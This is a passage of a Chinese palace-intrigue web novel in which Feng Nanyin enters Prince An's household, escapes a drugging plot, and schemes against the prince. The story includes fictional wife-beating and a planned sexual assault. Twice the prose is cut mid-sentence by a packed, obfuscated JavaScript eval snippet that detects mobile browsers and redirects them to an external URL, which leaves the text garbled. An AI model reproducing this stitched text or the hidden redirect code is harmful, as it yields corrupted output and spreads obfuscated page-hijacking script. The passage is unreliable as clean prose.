凤南茵对着他的背影吐舌,不给用就不用。 毕竟这是令人上瘾的东西,万一戒不掉那滋味,真的伤了身,她就罪过了。 靖王没有再回正殿,实在是被凤南茵气得血涌脑门。 他怕看到凤夫人,想冲进安王府,将凤南蓉给宰了。 下午申时过半,叶荭姑姑入宫,得了德妃的腰牌,陪同凤南茵入安王府。 但戏要做足,凤南茵不能这样悄无声息地走。 她得让皇帝知道,她这段时间要陪重病的姐姐,没时间参加宫宴,也没时间陪金少国的使团游玩。 贵妃就别想打好的主意了。 酉时一刻,每日这个时辰皇帝都会在春华宫陪丽妃用晚膳。 她进来给二人见礼。 “娘娘,我本想这次回宫本可多陪您些时日。可是姐姐才入安王府就病了,我从前虽气她,到底是我的至亲,我不忍她就这样香消玉殒,要过府陪她几日。” 皇上蹙眉:“你姐姐,安王良媛?” 凤南茵抹泪,“姐姐脾气倔犟、又是好面子的人,不知是受不得羞辱病了,还是怎么了,总之是要不行了。” 她不能当着皇帝的面直接指责安王以下犯上。 但皇上该懂的,都听得懂。 “安王心悦凤南蓉,却让她病重?” 当真是胡闹得越来越没得分寸,看来那漕运总督的重任,他是担不起了。 余尚书举荐安王为漕运总督。 他明日便会当朝允了此事,如今看来,他就安生在京当个闲散王爷,最是能让他安分守己。 凤南茵偷偷瞄着皇帝的神色,见他果然生了疑心。 抹着眼泪又道:“安王确实宠爱姐姐,这才让凤夫人入宫求我相陪。” 皇帝心情被影响,越发觉得四儿子荒诞,做事没有章法。 “你懂医理,由你照顾确实让人安心,务必让凤良媛恢复康健。” 否则这人才入府就死了,安王的名声也别要了。 凤南茵走后,丽妃小心地问着,“皇上,这事臣妾细品,总觉得不对。安王不会对南茵动歪心思吧?” 皇上揉着眉心,怎么不知安王打的主意。 他道:“他不敢。” 安王在延辉阁犯的蠢事,已是他睁一眼,闭一只眼过了,再对当朝乡主胡来,那就是真的没长脑子了。 丽妃心中不安。 这安王将人罚到昏迷不醒,故意让凤夫人求南茵入府,这不就是设局让南茵入套吗? “皇上,您给南茵个恩典吧,臣妾这条命,还有肚子里的龙种都是托她的福气,臣妾实在不安心她在安王府生活。” 皇上被丽妃软语求着,什么都应。 “好好好,朕让?公公传一道口谕,冀宁在安王府不受任何人差遣,不受安王府规矩,可随意出入,这你总安心了吧?” 丽妃在皇帝脸上香了一下,“皇上,您待梨儿真是太好了。” 凤南茵终于出宫了,凤夫人得了旨意,让她在朝阳门等着,饿了整整一日,总算在天黑前,将人接上。 “南茵……” 凤夫人还没开口,就被凤南茵打断了。 “凤夫人,我现在只想知道,凤南蓉受了什么伤,是什么原因造成昏迷不醒,其他的感激之情都不用多言,我并不想听。” 第一百八十一章凤南蓉受重伤 盛青岚在宫里受了一日的气,如今好不容易离开皇宫可以喘口气,又听她这样对自己说话,当即气不打一处来。 “我是你母亲!即便与你断了亲,也是长辈。” 凤南茵懒得与她在这种事上继续浪费口舌。 只道:“你不想说就算了,反正到了安王府我也能知道是怎么一回事,您也省省力气,咱们二人性子不和,就少交谈吧。” 叶荭姑姑三十岁,一直在靖王麾下做暗卫,性子冷淡,为人沉默,可到底见多了场面。 她见凤夫人一脸想教训人的表情,淡淡道:“既然断了亲,那凤夫人就要尊我们主子一声乡主,尊卑有别,下次再僭越别怪我不客气。” 凤夫人看向她,“你又是谁,主子说话哪容你插嘴。” 刚刚上马车时,她就对这个跟坐上来的妇人满心不悦。 叶荭眼皮都没抬,道:“我是德妃身边正四品令人,管娘娘身边一切事务,夫人如今没有品阶,下次说话记得用敬语。” 这也是凤南茵出宫前,德妃特许给叶荭的身份。 盛青岚见这么一位姑姑都是正四品,心塞的厉害。 她如今,连个奴才都比不得了。 “德妃对你倒是好。” “娘亲待我自然好,处处为我的安危及幸福考虑,这一次入安王府也是不准我去的,不过我想满足一下自己的好奇心,这凤家削尖了脑袋要送女儿入宫,如今她心想事成了,怎么就病得起不来床了?” 盛青岚这一日受了太多的气,心口都要气炸了。 这会实在承受不住,捂着心口,大喊着:“停车,将车停下。” 她再坐下去,就要被活活气死了。 “我算是明白了,当初你祖母为什么选择将你送人。早知你是这般狼心狗肺畜牲不如的东西,我就该亲手掐死你。” 凤夫人放完狠话就准备下车,不与凤南茵同坐一车。 凤南茵却快她一步,将人拦在后面,“你现在后悔也来得及,你可以永远都避着我不见。还有,既然我都被你骂得畜牲不如了,那就让凤南蓉在安王府自生自灭吧!” 盛青岚:“……” 她懵了,安王妃说了,不能让凤南茵入安王府,就等着给她女儿收尸。 凤南茵不去了,难道要让她看着南蓉死吗? “凤南茵,你这般冷血无情,也不怕遭报应。” “我日子越过越好,倒是凤夫人和凤南蓉处境堪忧,难不成这就是你抛弃子女,卖女求荣遭受的报应?” 盛青岚抬手就想给凤南茵耳光,被叶荭拉住她。 她冷嘲,“既然是求人办事,就要有求人的觉悟,乡主的闺名不是你能随意叫的。” 盛青岚感受到手腕骨要碎裂了,这才知道眼前妇人竟然会武。 难怪凤南茵敢如此挑衅她。 她这人吃软怕硬,被叶荭拿捏住,当下服软。 “是,臣妇记住了,日后不会再冒犯乡主,还请乡主大人大量,原谅臣妇蠢笨,口不择言。” 凤南茵觉得没劲,还是从前的老样子。 要么狐假虎威,要么委曲求全,那脸变得比翻书都快。 “既然长了记性,日后便不要再犯了,本乡主的耐心其实一点都不好,你下车去吧,剩下的路不用你陪了。” 盛青岚心中又气又恨,却是知道,再留下去会吃亏,乖乖下车了。 凤南茵靠在车壁上,心情平静。 她已经不会因为对方的态度而心痛了。 盛青岚在她心中,再没有分量。 叶荭道:“乡主,凤夫人的行为很是诡异,安王府怕是有什么阴谋等着您。” “恩,我入安王府本也是带着目的,就看最后谁赢了。” 她会打起十二分小心,不行就退。 安王妃此时坐在正院,睨着安王。 “王爷,这人若是真的来了,您打算怎么谢谢臣妾?” 安王勾着她的下巴,看着嫁进王府几年的姜氏,挑逗她道:“王妃既然想要本王谢,那本王就送你个王儿可好?” 他说着人便凑上前,予行夫妻之事。 姜氏确实想要一个儿子,她只有一女儿傍身,这嫡子还是要从她的肚皮里生出来才行。 她受方家小姐的计谋,钓凤南茵入安王府,一是要削了德妃的左膀右臂。 二是让靖王脸上无光。 三是,安王喜爱搜罗美人,这不就高兴的要奖励她了。 这天还没黑透呢,王妃与王爷便行了房事,院外的婆子丫鬟皆红着脸不敢作声。 管事嬷嬷走近,传话,“王爷、王妃,冀宁乡主到了。” 安王酣战正酣时,听到下人传话。 脑海里当下想到冀宁那张清纯灵动的小脸。 对上自家王妃这张寡淡的容颜,瞬间没了兴致。 他草草应付了事,还大言不惭道:“王妃这下满足了吧,本王先去沐浴更衣。” 安王妃不满地坐起身。 什么就叫满足了,几个月来她房中一次,一次草草应付了事,什么就满足了。 她恶狠狠地瞪了传话的婆子一眼,“没眼色的东西,扣半个月的月银。” 安王妃心下抱怨归抱怨,这人还得招待。 “将人带过来。” 凤南茵一路由下人引着穿回廊,跨庭院,走了一刻钟才到了正院。 安王妃已经整理好妆容,从容坐在上首。 “冀宁乡主这么晚来安王府有事?” 凤南茵心道:“你装什么装,不是你让人引我来,我有进来你安王府?” “听凤夫人说,凤良媛病了,我过来瞧瞧她如何了。” 安王妃忙整理情绪,捏着帕子开始擦拭眼角。 “这不是光彩的事,总归是家丑,没想到让冀宁乡主知道了,我也不隐瞒了。” “提起这个事,真不怪王爷心狠。凤良媛她真是太犟了,王爷不过是斥责她两句,她竟起了忤逆心,竟与王爷起了争执。” 她抽噎了一下,道:“王爷不准咱们请太医,也不准府医给良媛医治,可到底是皇上赐婚的良媛,这人真的出事了,受罚的还是王爷。” 她装出贤良的模样道,“乡主随我来,我这就带你去见凤良媛。” 安王妃起身,带着一众丫鬟婆子向春意苑而去。 凤南茵跟在后面,记着来去的路线。 叶荭更是将府上的情况都仔细瞧着。 凤南茵住的院落环境不错,五月的天,满墙爬着粉色月季,廊下还有摇椅和秋千,从居住的环境上看,倒是没有苛待凤南蓉。 人进去后,房舍也算明亮。 只是房间地上还有打碎的花瓶无人收拾,地板上的血渍干涸在那里,看起来触目惊心。 “这是?” 安王妃叹了一口气。 “凤良媛被王爷打了一耳光,意外伤了头。” 凤南茵迈过一地瓷器碎屑到了床边,凤南蓉却是昏迷着。 额头上绑着棉布条,不过那血并没有止住,血渍氤透染在枕头上,看着触目惊心。 她诊了一下脉,脉象很弱,这一次伤得确实不轻,若不细心调理,这伤就算好了,也会落下隐疾,日后会时常头疼。 “王妃仁善,一会命人传位太医吧,姐姐的伤很重,我的医术很难根治好她。” 安王妃一脸为难,“这……恐怕不成,她到底是惹怒了王爷,已经发话不准叫太医,即便是我也不敢违背啊。” 凤南茵挑眉,所以,这人是非要她治不可了? 第一百八十二章莫要再失圣心了 凤南茵眯了眸子,“王妃向凤家人送信,不就是担心凤南蓉会出个万一,如今以我的名义召太医过府,安王也不同意?” 安王这时款款而来,头上戴着累丝嵌宝紫金冠,额上勒着二龙抢珠金抹额,一身湖蓝色半绣山水直裰,说不出的风流倜傥。 若不知他为人者,还以为是文弱书生,俊逸外貌之下,气质当中更透着五分儒雅。 可是了解安王的人都清楚,此人贪淫好色,暴虐残忍,视百姓如蝼蚁,心思恶毒且不择手段。 他的恶劣都被那双会隐藏世故的双眼给蒙蔽了。 此时,他手打折扇,对着凤南茵时,说不出的风流,缓缓向她走来。 “冀宁一来就要为凤良媛宣太医,倒是姐妹情深。” “可本王怎么听闻你与她早就断了姐妹之情,今日的关心是出于真心,还是演给谁看的?” 凤南茵本该给他先见礼,如今被质问,她挑了挑眉。 “即便我与凤南蓉吵嘴伤了感情,可她伤的这般重,陌生人见了也会生同情心,毕竟她头上的伤,确实能要她的命。” 安王刷地一下打开折扇,睨着床上之人。 “此女出言不逊,攀咬贵妃,拒绝侍寝,顶撞本王,每一条都死有余辜。” 凤南茵见他这般心狠,心下好笑。 既然这样,叫她来做什么? **一个凤南蓉,让她来为人质? “既然安王不想救治,那她就是必死无疑之人。如此,我留下也无意义,这是我出的丧银,权当先替她料理后事,出银子买一副好棺椁。” 安王:这人的脑回路怎么和常人不一样,不该是求他才是吗? 安王妃见凤南茵将银子都留下了,忙打圆场,“冀宁,王爷只是在气头上,求一求他便无事了,怎么就提棺椁了。” 安王看着凤南茵,笑得淫邪。 “给凤良媛宣太医也不是不可以,不过凤良媛大不敬,本该处死。你想救人,那么休想王府出人出力照顾她。” 凤南茵又道:“既然这人犯下大不敬之罪,这伤也算是罚过了,不如王爷将她逐出府,人便由我全权照顾。” 安王捏得拳头咯咯作响,“你放肆!” 安王妃忙打圆场,“冀宁,这皇上赐婚,这人哪能说逐出府便驱逐的,你要真的心疼姐姐就留下照顾她,本妃可以保证,不会短了这院的吃用。” “王爷,您也消消气,凤良媛到底年岁小,又是受了委屈,一时犯浑也是能理解。待她醒了我好好规劝一下,保证日后不会再惹您生气了。” 安王冷哼,“看在王妃的情面上,便饶了她这一回。不过冀宁乡主在安王府侍疾之时,一切要按王府的规矩走,除了春意苑,不可入本王的书房,也不可随意乱走,否则本王可会按府规处置你。” 凤南茵好笑地看着他。 她想离开的意思表达的这么清楚,还要强行扣下她来侍疾,看来此次钓她入府,实际上是安王的意思。 “王爷这样说,冀宁真是好怕,不如我还是离开的好,没必要为了一个断了情谊的姐姐,将自己搭进去。” 安王收了折扇,冷冷地道:“这安王府,岂是你说来就来,你说走就走的地方。” “怎么,王爷还要强行留人?” 叶荭挡在乡主身前,冷冷看着慢慢靠近的侍卫。 “安王这是要做什么?” 安王虚眯了眸子,“做什么?” 他想掐住凤南茵的下巴,将人提到自己近前,可惜他的动作被叶荭给挡了。 安王不得法,甩袖冷哼。 “凤南蓉其实都与本王说了,丽妃穿的那套衣裙是你送的。你算准了凤南蓉想在宫宴上出风头,故意让她与丽妃撞衫。” “而本王之所以会在大庭广众下出丑,也是因你所害,你觉得你还走得出这个府门?” 凤南茵想骂他无耻,若他不生那龌龊心思,谁能害得了他。 自己风流惹下的官司,还想将屎盆子扣她脑袋上,分明着就要毁掉她。 “我不知安王在说什么,衣衫是我送的,穿不穿是她们自己的事,王爷这样牵强附会怪罪我,不合乎道理吧。” 安王妃忙又当和事佬。 “冀宁你别生气,这件事安王被皇帝斥责,心里头窝着火,偏那日之事有太多的巧合和疑点,他怀疑你也是正常。你受些委屈,多担待。” 凤南茵道:“没必要。” 安王妃马上逐开笑颜,“对吗,没必要生气吗。” “不,我是说没必要留下受气。” 她向安王妃点了点头,“冀宁这就离去,还是先前那句话,人若**,棺椁钱可以我出,当全了姐妹情谊。” “放肆,你们凤氏一族都如此目中无人,不懂尊卑吗?” “来呀,将冀宁给本王拿下。” 叶荭眼看事态不可逆,手放在腰间,准备抽出软鞭带乡主杀出一条血路。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15415301|166304||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?公公在这时及时到了。 “传,皇上口谕,冀宁乡主顾念姐妹情谊,留在安王府陪护期间,不受王府约束,不可限其自由,不可故意为难。皇上特派刘太医过来替凤良媛问诊,以解冀宁乡主担忧之心。” ?公公传完口谕,这才看了一眼众人,“安王,冀宁乡主很是受皇帝重视,可莫要苛待了才是。” 凤南茵的心终于落到了肚子里,这也是她走前为什么要去看丽妃的原因之一。 丽妃果然没有让她失望。 有了这道旨意,她在这安王府就如同鱼儿在水中行走,谁还能奈何她。 凤南茵忙磕头谢恩,又给了?公公不少好处。 她道:“还请禄公公给德妃娘娘带句话,凤南蓉伤到了脑子,我在这里要小住些时日。我若是有个万一,就是有人违逆圣旨,欺君罔上。” 她说这话时,看向安王。 “不过我相相信安王不敢行大不敬之事,毕竟他才打伤皇帝赐婚的凤良媛,再来寻我的麻烦,那就是违背旨意,欺君罔上,等同谋逆。” 安王想掐死凤南茵,将这女人骗进王府,可不是要她在府中为所欲为的。 可?公公在,又有旨意在,他什么也做不了。 心口如同吃了一粒苍蝇屎,恶心的想吐。 ?公公则大惊,“乡主,话可不能乱说,凤良媛的病,其实是被安王打的?” 安王忙解释,“没有,本王没有打她,只是争执间推搡了一下,她自己磕在桌角才受了伤。” ?公公对上安王,长叹:“安王放心,老奴回宫不会乱讲,但老奴好心劝您,皇上有意让您入礼部接待使臣,这个时候不能再出事了。” “什么?入礼部?” 时景颐大惊,舅舅举荐他做漕运总都,已是板上钉钉的事情,怎么变了? 没了漕运职物,余家的货船藏了大量私铁,被发现可是诛九族的大罪! “本王为何要迎接使臣?”这种费力不讨好的事情,为什么要他来做? 太子那个病秧子身体不是有好转了吗,他为什么不做? “安王,老奴也只是给您提个醒,凤良媛出身再低微,到底是皇上所赐,莫要太难为她才是。” 他用手指了指天,“皇上都看着呢,莫要再失圣心了。” 安王傻了,漕运总都一职怎么会没了? 到底谁在背后给他穿小鞋? 时景轩? 第一百八十三章安王妃被打 ?公公看着安王那变幻成有如吃屎的表情,无奈地摇了摇头。 安王真的是一手好牌,被他自己打得稀烂。 他掏出一个令牌,“冀宁乡主,这是皇上特许你的随意出行令牌,有了此牌,无人能约束您。” 他悄咪咪地对凤南茵道:“此牌是丽妃娘娘特意给您讨的,丽妃待乡主是真的上心。” 谁人不知丽妃是冀宁乡主救的,二人相互扶持,相互帮助,在无情冷漠的后宫,这份真情谁人不羡慕。 这种重情重义的主子,?公公也是愿意相交的。 “谢?公公今日传话,回宫之时定给您带份礼物回去。” ?公公笑眯眯地应了,“那老奴可要多谢冀宁乡主了。” 随后他又向安王告辞,带着人离开。 安王还在失去漕运总督这个职务当中没醒过神,看到凤南茵与?公公这般热络亲昵,他一声冷哼。 “还真是小瞧了你这个从乡下来的野丫头。” 竟然让她在后宫这种地方混的风生水起,以为这样他就奈何不了吗? 当他安王是什么人,废物? “父皇旨意是允你随意出入王府,咱们不得为难你,可不代表任何地方都随你出入,别让本王拿捏到你的把柄,否则本王不管你身上是否有令牌,都可以先斩后奏。” “安王放心,您的前院,臣女不会踏足一步,我不会给你处置我的机会。” 安王似笑非笑地睨了她一眼,拂袖离开。 原本他对凤南茵的兴趣,不过是母妃授意。 她若是愿意配合,看着她长得还算可人,可以给几分宠爱。 现在,他只想毁了她,将她那一身傲骨全部劈碎,碾烂。 安王妃见王爷脸色不好,嘴角抽了抽,她这一次好似又办错了事。 “冀宁乡主,这时辰不早了,我命人带你去客院休息?” 凤南茵拒绝道:“谢王妃好意,刘太医在此,还是先为凤良媛看病要紧,至于住处,这春意苑我就很喜欢,客房也多,就不必特意安排了。” 安王妃皱眉。 这人住在这,可是违背了王爷的意愿。 王爷就是一只馋嘴的猫儿,看中的女人得不到,可是有人会倒霉的。 “您身份不同,哪能如此委屈,一旁的春光院也很美,离这不远,您宿着也能舒心一些。” “一直听闻安王有钱,今日入了安王府才晓得啥叫雅过皇宫,贵过世家。” “可惜,我不是来安王府游玩的,照顾病人才是我的目的。还是与病人住在一起更方便,谢王妃好意了。” 安王妃出身荣国公府,最是圆滑,对上凤南茵的不知好歹,她也只是笑笑。 “乡主这样说了,那便依你所言,一会刘太医需要用什么药,叫奴才直接去库房取,本妃就不奉陪了。” 姜新月出了春意苑,身旁的婆子就愤恨道,“娘娘,这冀宁乡主太不将您当一回事了,在王府还敢这样目中无人。” “她想住在那也好,就让她得意两日,届时本王妃要她知道,忤逆我的后果。” 这边,凤南蓉的伤势全部交由了刘太医诊治,凤南茵没有半点想插手的意思。 刘太医原本以为冀宁乡主会医术,会在一旁指指点点让人下头。 看完诊,刘太医拿过方子。 “冀宁乡主,这是药方,我在里面加了活血化瘀的三七、红花……” “刘太医,您的医术我是十分放心的,日后还要劳烦您每日过来。” 她给雏菊一个眼神。 雏菊立即拿出一对银锭子,足足五十两一锭。 两锭沉甸甸地落在刘太医手上。 “这是您的辛苦费用。” 刘太医简直受宠若惊,没有人打扰看诊,没有质疑,还有丰厚的打赏,这是冀宁乡主对他的看重呀。 “这……” “太医收好,凤良媛的身体还要依仗您。” 送走刘太医,雏菊不满地哼了一声,“小主真是的,凤良媛从前待你一点不好,您能过来看她已是她的福气,现在还要自己搭银子。” 那可是一百两。 太医一个月的俸禄也才二两二钱,买他全年在旁伺候都够了。 凤南茵笑着走至床头,看着脸色苍白昏迷不醒的人。 “怕什么,这些银子等她醒了都要还给我,我赏多少她就得还多少,还要给本乡主辛苦费用。” 拿凤南蓉的钱,买关系办事,省了她口舌麻烦不是很好。 雏菊一听是这样,总算是吁了一口气。 “奴婢去给乡主铺床。” 凤南茵累了,这会天都黑了,有什么事明天再说,便由着蝶兰伺候着洗漱睡下。 安王翌日上朝回 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15415302|166304||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来便黑沉了脸。 果然,说好的差事没了,他跑到父皇的书房问其原因。 竟然是因为凤南蓉一入府就病了的事传进了宫里。 一回到云台院,看到姜氏,扬手就是一巴掌。 “都是你这个女人害的本王失了总督差事。” 姜新月都不知发生了何事,王爷回府就**,还当着这么多下人的面,她这一府王妃的脸面都丢尽了。 “王爷这是发得哪门子疯,臣妾做错了什么?” “家丑不可外扬,那凤良媛死就**,你给那凤氏送信做什么?还让她闹进了宫,父皇就是知道了此事,觉得我有失稳重才夺了本该给我的职务。” 姜氏捂着脸,满心的委屈。 昨日,还因为能让凤南茵入府而奖励她一次欢好,说什么给她一个儿子。 今天又因为这事打她。 “王爷自己拿捏不得人,就怪我吗?若是昨日?公公没有来传旨,这会凤南茵该是被你霸王硬上弓,成了你的第十三房小妾了吧。” “王爷得美人时的欢愉,怎么不想后果!” “啪!” 又是一巴掌声,“你现在还学会了顶嘴?这就是你做为一府王妃该有的样子?” “你的妇德呢?” “你的闺训呢?” “以夫为纲的伦理纲常都忘记了?” 姜新月这一次没有半句求饶,此事错本不在她。 不是她让王爷去延辉阁睡凤南蓉的。 也是她让王爷在人初回府,就将人打得摔到桌角受得重伤的。 王爷自己对皇上说,是情不自禁。 回到府里就将人打废! 皇上不怒才怪! 琪嬷嬷上前劝,“王妃,快说些好话让王爷息怒,这一次王爷是真的被气到了。” 姜新月怒视琪嬷嬷,她是王府里的老人,在这种时候,还是向着王爷说话。 她平白无故挨了俩巴掌,她一府王妃不要脸面的吗? “都是那个凤南蓉,她就是个扫把星,害本王妃无故挨打。” 听说那**已经醒了,若是让她知道凤南茵也得了王爷宠爱,她心里一定会很难受吧! 入了我安王府的门,还想骑到我头上,一个个都该不得好死! “去,将今晚本妃要用的晚上赏给春光苑,就说本王妃犒劳” 第一百八十四章本王就让靖王永失心头所好 凤南蓉万万没想到,她初入王府,不过是反驳了安王一句话,自证清白。 他便一巴掌差点将自己扇死。 醒来的这两个时辰,她把一辈子的眼泪都要流干了,身边一个可以说话的人都没有。 只能瞪着双眼,无神地望着幔帐顶。 “呦,从前那个心比天高,摔进烂泥潭也认定自己会做皇后的凤南蓉,怎么一个人哭上了?” 凤南蓉后脑上有伤,不敢轻易换姿势,眼睛一点点往门前转,果然是凤南茵,她没有听错。 “你怎么在这里?” 凤南茵坐到她身边,伸出五根手指。 “这是几?” 凤南蓉见对方像对傻子一样对自己,干脆闭上眼。 她不想自己最狼狈的时候被凤南茵看到,自欺欺人地逃避着。 凤南茵见她这副样子,收回手,用很是淡定的口吻道:“看来恢复的不错,至少没有摔傻,也没有摔失忆,还知道我是谁。” 凤南蓉不想见到她,可到底好奇。 “你为什么在我房中?” 凤南茵靠在拔步床柱上,翘起二郎腿。 “本我要下江南的,可是凤夫人进宫又是磕头,又是哭诉,求我入安王府给你瞧病,说你快要死了。” “我这人医者仁心,做不到见死不救,这不好心就来了。” 凤南蓉的手死死扯住锦缎的被面,嘴角扯出苦涩的笑。 “你很得意?” 凤南茵没听清楚,“你说啥?” “我说,让母亲为你做到这种,你很得意?你也不怕折了寿。” 凤南茵白了她一眼。 “你想什么呢,凤夫人求的是德妃,我可不受她的跪拜。” “若说折寿,也是折你的寿,毕竟三番五次让凤夫人放下脸面求人,都是因为你。” 凤南蓉沉默了,她不再似从前那般与凤南茵针锋相对。 经历一次生死,凤南蓉终于看清自己,仗着美貌的自负其实在权贵眼里就是个屁。 她的骄傲被安王那一巴掌狠狠打碎了。 她已经没有任何值得自己骄傲的东西,自信已经碎了一地,再也捡拾不起来了。 “你走吧,我不用你照顾,也不需要人照顾。” 她认输了,凤家的签文若真的能应验,那个人可能不是她。 凤南茵盯着她看了好一会,发现这人眼睛里都没了神采,不由得撇撇嘴。 “说真的,看你萎靡不振的样子我以为自己会挺痛快的,可是又没有。” 她抱着双臂,居高临下地看着她。 “不如你告诉我,可想坐上安王妃的位置?可想日后安王对你唯命是从,让他只能依仗你的脸色过活?” 不说这话,凤南蓉觉得自己的心已经死了。 这会她似是听到了这世间最可笑的事情,咯咯笑出了声。 “哈哈哈!” “你走吧,我没有心情与力气被你消遣,我也不想感谢你救了我。” 她已经活够了,信念崩塌,自信丧失,她感觉这辈子就这样了。 毕竟一个不受夫君喜爱的妾室,还能有什么出路。 凤南茵可没想这样就算了,她此行的目的可不是拯救人,而是来毁灭人的。 “你觉得我做不到?” 凤南蓉理都不想理她。 凤南茵压低声音,在她耳畔道:“当初,你也没想到我能带你平安进石门府吧?” “你应该也没想到,我能逃掉盛闳的亲事,且这人还死了。” 凤南蓉心下一震,带着一丝惧怕之意看向她。 凤南茵又掉。 “还有,我成为德妃的义女,你也从来想不到吧?” 凤南蓉落在被子上的手指不自主地又动了。 她微微转动了脑袋,问:“你不是在说大话诓骗我?” 凤南茵摇头,“自然没有。” “你别告诉我是因为我们的姐妹关系,你才要帮我。” 打死她也是不信的。 凤南茵这人的报复心极强。 她会坐在这里,就是想看她的笑话。 就是这样。 凤南茵笑睨着她,“其实你很聪明,一直知道自己想要什么。” “所以,只要你想。我便帮你坐上王妃的位置,虽然有点难,也需要谋划和时间。但是让安王日夜宠爱你倒是容易,有了宠爱,再生个儿子,慢慢再坐正妃之位,你觉得还是那么遥不可及吗?” 凤南蓉心动了。 她一直觉得凤南茵有一点邪性的。 因为她确实做成了好多她不敢想的事情。 也许,她真的有办法让安王迷恋上自己。 “你要什么?” 凤南茵勾唇,“既然是交易,当然要你付出些东西。但你放心,我最多就是从你这里捞一点金银,于你而言不过是简简单单,是个极为划算的买卖。” 凤南蓉心下狐疑,想听听她的具体计划时。 叶荭姑姑走了进来,在凤南茵耳边耳语了几句。 “安王回来将王妃给打了。” 凤南茵轻笑,“害人害已,咎由自取。” 叶荭姑姑可是靖王手下的负责打探情报的暗卫,她在这安王府想知道些不是秘密的秘密极为容易。 安王府发生的事情,只要叶荭想便能打探得到。 凤南茵以为自己只是听了一个热闹,结果这位姜王妃还有心给她送晚膳。 “冀宁乡主,王妃听闻良媛醒了,感谢您近两日辛苦,特意赏了您一盅八珍鸭汤,还有聚香楼才能吃到的席面,膳食时间到了,还请移步用餐。” 凤南茵挑眉,王妃这是被揍之后,没了食欲? “王妃这么贴心嘛,我正好饿了,还请姑姑代我谢谢王妃。” 一桌晚膳极为丰盛,虽然每一样都是很小一份,不得不说安王妃是会享受之人。 送餐的人见她坐下拿起汤匙已经用了,便转身回去复命了。 凤南茵却是在这人转身之后,将含在嘴里的吃食全都吐在了帕子上。 叶荭姑姑上前,“怎么了?” 凤南茵阴沉着脸,盯着眼前的汤。 “呵,还真是迫不及待,竟然在汤水里给我下迷情香。” 就是不知今夜要害她的男人是谁了。 叶荭姑姑端起那碗汤就准备泼掉,被凤南茵拦住。 “丢了多可惜,凤南蓉身边伺候的那两个丫鬟不是自视甚高,伺候人的时候懒怠吗,那我就助她们成为这王府里的新主子。” 叶荭笑了,“好,我这就叫她们过来将席面撤掉。” 用下药这招对付她们小主,真是傻的可以。 高门大院里的大丫鬟吃用都是主子赏的。 主子撤下的未动的席面,只要没说丢掉,就归她们享用了。 凤南茵挑了两个馒头回了房间,她还不想饿着。 青枝与莲心唤来收拾残羹,发现这一桌上好的吃食竟然没动分毫。 心下狐疑之时,到底馋主子享用的餐食,没忍住坐下来享用起来。 另一边,姜氏端了一碗八珍鸭汤到了安王的书房。 将姿态放得极低,“王爷,臣妾听下人说您今日还没用膳,特意给您熬了八珍鸭汤。” 安王见姜氏红肿着脸颊到他面前做小伏低,示意她将汤水放下。 姜氏忙舀了一碗,递过去。 “王爷,下晌靖王命人给凤南茵送来了一些瓜果,没想到冷面冷心的人也会对人这般殷勤,看来传闻他喜欢自己的义妹,所言不虚。” 安王将汤喝了一半,落下碗,面沉似水。 “靖王害我失了漕运的职务,我便让他永失心头所好。” 第一百八十五章辣眼睛 安王妃装作什么都不知道,还想劝。 “王爷,冀宁乡主再怎么说也是德妃的义女,又有皇上赐的令牌,万一……” 安王本就是肆意妄为的性子,这会喝了那八珍鸭汤,只觉得喉咙发干,全身气血翻涌,只想找一处地方泄火。 他傲慢到盲目,道:“没有万一,除非她一死保贞节,否则本王就对外称她勾引我,做成了好事,赏她一个妾氏的名分,女人早晚都要嫁人,大不了给德妃一个面子,赐她一个侧妃。” 安王妃暗中撇了撇唇。 侧妃? 还真是随随便便就许出去了,真不值钱。 不过都无所谓,不管是妾氏,还是侧妃,反正都越不过她去。 “王爷说得有道理,如今她有令牌,我们拿她不得,但是做了王爷的妾室就不同了。” 安王妃最是能给安王提供情绪价值,很是捧他的臭脚。 她轻叹一口气,装出哀伤的模样,却是拉都没拉这人一下。 安王走出几步,回头淡淡瞥了她一眼,似想起什么一样。 “先前你不是喜欢琳琅阁的那个珊瑚摆件,明日出府散心时,就买回来吧。” 安王妃心里冷哼,每入这后宅一个女人,就让她去买东西。 以前她还觉得不亏,至少尊重她。 可是今天落在脸上那两个巴掌,屈辱感一直过不去。 她在安王身后冷笑。 王爷,你这种肆意妄为的性子,真得了凤南茵,怕是少不得让皇上责骂,到时候你可别怪臣妾害你。 春意苑。 凤南蓉的晚膳迟迟没有人送来。 身子本就虚,加上饿,她心情低落到了极点。 她虽是安王的良媛,却是失了清白后被抬进来的,没有陪嫁,身边连个可信之人也没有。 青枝与莲心虽是伺候她的人,却对她很是傲慢。 肚子发出一阵阵空鸣,她闭了眼。 不想让凤南茵看到她的窘境。 天色越来越晚,她实在撑不住,端了一碗茶水喝了。 冰冷的茶水入腹,越来越饿。 “该死的,全都该死。” 她发誓,等她伤恢复了,叫这一个两个都别想有好日子过。 她正恨意汹涌不知如何排解之时,只觉得鼻尖飘出一股异香气息,正想问谁在她房中点了香,人便晕晕地晕了过去。 内侍放完香,上前回话。 “王爷,院里的人都昏睡过去了。” 安王邪肆地笑,“带个练家子入我安王府,就以为我拿你们没办法了?” 只要他想得到的女人,那就得是他的。 别管他用什么手段,能钓到鱼,它就是好饵。 “冀宁住在哪个房间?” 安王扯了扯喉结处的领口,这天怎么越发地臊热,他连呼吸都带出了粗重。 内侍也不知道,他又没来过春意苑。 